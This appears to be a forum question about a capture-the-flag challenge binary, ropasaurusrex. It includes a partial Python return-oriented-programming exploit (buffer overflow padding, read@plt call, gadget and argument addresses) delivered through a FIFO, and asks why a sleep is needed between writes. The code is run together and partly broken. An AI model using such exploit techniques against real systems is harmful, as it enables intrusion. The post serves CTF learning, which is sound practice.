I'm trying to exploit ropasaurusrex binary. Basically It has buffer overflow vulnerability. Binary reads data from stdin and fills it to buffer.
My goal for payload is to overwrite EIP with address of read@plt and make program to wait for additional input and exploit sends some input to binary.
I created a FIFO. Binary reads stdin from this FIFO, and my exploit writes to this FIFO. My exploit doesn't work if I don't add a
time.sleep(1) after flush. When sleep not added, vulnerable binary reads payload + commands in the first read operation.
import os,sys,time import struct pipe = '/tmp/roppipe' payload = 'A'*140 cmd = sys.argv + '\0' # write stdin to .dynamic payload += struct.pack('<I',0x0804832c) # read@plt location payload += struct.pack('<I',0x080484b6) # address of pppr gadget payload += struct.pack('<I',0) #read param 1: stdin fd payload += struct.pack('<I',0x08049530) #read param 2: address of .dynamic payload += struct.pack('<I',len(cmd)) #read param 3: length of input f = open(pipe,'w') f.write(payload) f.flush() time.sleep(1) # this is the only way that works f.write(cmd) f.close()
I couldn't understand why time.sleep required, and how I can make it work without it?
Thanks for your help.